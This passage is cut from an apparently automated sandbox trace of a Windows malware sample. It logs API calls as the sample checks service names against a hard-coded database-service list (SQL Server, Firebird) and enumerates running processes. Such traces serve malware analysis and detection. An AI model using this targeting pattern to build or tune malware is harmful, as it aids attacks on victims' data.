(lpString="ProfSvc") returned 7 [0076.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0076.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0076.923] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0076.923] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0076.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0076.923] lstrlenW (lpString="RpcEptMapper") returned 12 [0076.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.923] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0076.923] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0076.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0076.923] lstrlenW (lpString="RpcSs") returned 5 [0076.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0076.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0076.923] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0076.923] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0076.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0076.923] lstrlenW (lpString="SamSs") returned 5 [0076.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0076.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0076.923] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0076.923] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0076.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0076.923] lstrlenW (lpString="Schedule") returned 8 [0076.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0076.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0076.923] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0076.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0076.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0076.924] lstrlenW (lpString="SecurityHealthService") returned 21 [0076.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0076.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0076.924] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0076.924] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0076.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0076.924] lstrlenW (lpString="SENS") returned 4 [0076.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0076.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0076.924] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0076.924] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0076.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0076.924] lstrlenW (lpString="ShellHWDetection") returned 16 [0076.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.924] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0076.924] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0076.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0076.924] lstrlenW (lpString="Spooler") returned 7 [0076.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0076.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0076.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0076.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0076.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0076.924] lstrlenW (lpString="SSDPSRV") returned 7 [0076.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0076.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0076.924] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0076.924] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0076.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0076.925] lstrlenW (lpString="StateRepository") returned 15 [0076.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0076.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0076.925] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0076.925] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0076.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0076.925] lstrlenW (lpString="SysMain") returned 7 [0076.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0076.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0076.925] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0076.925] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0076.925] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3ce4288 | out: hHeap=0x6a0000) returned 1 [0076.925] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0076.933] Process32FirstW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.934] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0076.934] lstrlenW (lpString="System") returned 6 [0077.319] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.320] lstrlenW (lpString="smss.exe") returned 8 [0077.321] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.322] lstrlenW (lpString="csrss.exe") returned 9 [0077.322] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.323] lstrlenW (lpString="wininit.exe") returned 11 [0077.323] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.324] lstrlenW (lpString="csrss.exe") returned 9 [0077.325] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0077.396] lstrlenW (lpString="winlogon.exe") returned 12 [0077.397] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0077.398] lstrlenW (lpString="services.exe") returned 12 [0077.398] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0077.400] lstrlenW (lpString="lsass.exe") returned 9 [0077.400] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.401] lstrlenW (lpString="svchost.exe") returned 11 [0077.401] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0077.402] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0077.402] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0077.404] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0077.405] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.406] lstrlenW (lpString="svchost.exe") returned 11 [0077.406] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0077.407] lstrlenW (lpString="dwm.exe") returned 7 [0077.407] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.408] lstrlenW (lpString="svchost.exe") returned 11 [0077.408] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.409] lstrlenW (lpString="svchost.exe") returned 11 [0077.409] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.410] lstrlenW (lpString="svchost.exe") returned 11 [0077.411] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.412] lstrlenW (lpString="svchost.exe") returned 11 [0077.412] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.413] lstrlenW (lpString="svchost.exe") returned 11 [0077.413] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.414] lstrlenW (lpString="svchost.exe") returned 11 [0077.414] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.415] lstrlenW (lpString="svchost.exe") returned 11 [0077.415] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.417] lstrlenW (lpString="svchost.exe") returned 11 [0077.417] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.418] lstrlenW (lpString="svchost.exe") returned 11 [0077.418] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0077.419] lstrlenW (lpString="spoolsv.exe") returned 11 [0077.420] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.421] lstrlenW (lpString="svchost.exe") returned 11 [0077.421] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.422] lstrlenW (lpString="svchost.exe") returned 11 [0077.422] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0077.423] lstrlenW (lpString="audiodg.exe") returned 11 [0077.423] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0077.424] lstrlenW (lpString="sihost.exe") returned 10 [0077.424] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.425] lstrlenW (lpString="svchost.exe") returned 11 [0077.426] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0077.427] lstrlenW (lpString="taskhostw.exe") returned 13 [0077.427] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0077.428] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0077.428] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0077.429] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0077.429] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0077.430] lstrlenW (lpString="explorer.exe") returned 12 [0077.430] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0077.432] lstrlenW (lpString="Memory Compression") returned 18 [0077.432] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0077.433] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0077.433] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0077.434] lstrlenW (lpString="SearchUI.exe") returned 12 [0077.434] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0077.675] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0077.676] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.677] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.677] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0077.678] lstrlenW (lpString="taskhostw.exe") returned 13 [0077.678] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0077.679] lstrlenW (lpString="UsoClient.exe") returned 13 [0077.679] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0077.680] lstrlenW (lpString="taskhostw.exe") returned 13 [0077.681] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0077.682] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0077.682] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0077.683] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0077.683] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0077.684] lstrlenW (lpString="msoia.exe") returned 9 [0077.684] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0077.686] lstrlenW (lpString="msoia.exe") returned 9 [0077.686] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0077.687] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0077.687] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0077.689] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0077.689] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0077.690] lstrlenW (lpString="xml-upper.exe") returned 13 [0077.690] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0077.691] lstrlenW (lpString="defeat preston.exe") returned 18 [0077.692] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0077.693] lstrlenW (lpString="surveillance.exe") returned 16 [0077.694] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0077.695] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0077.695] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0077.696] lstrlenW (lpString="deemed.exe") returned 10 [0077.696] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0077.697] lstrlenW (lpString="scored-prices.exe") returned 17 [0077.697] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0077.698] lstrlenW (lpString="understood.exe") returned 14 [0077.699] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0077.700] lstrlenW (lpString="lee.exe") returned 7 [0077.700] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, 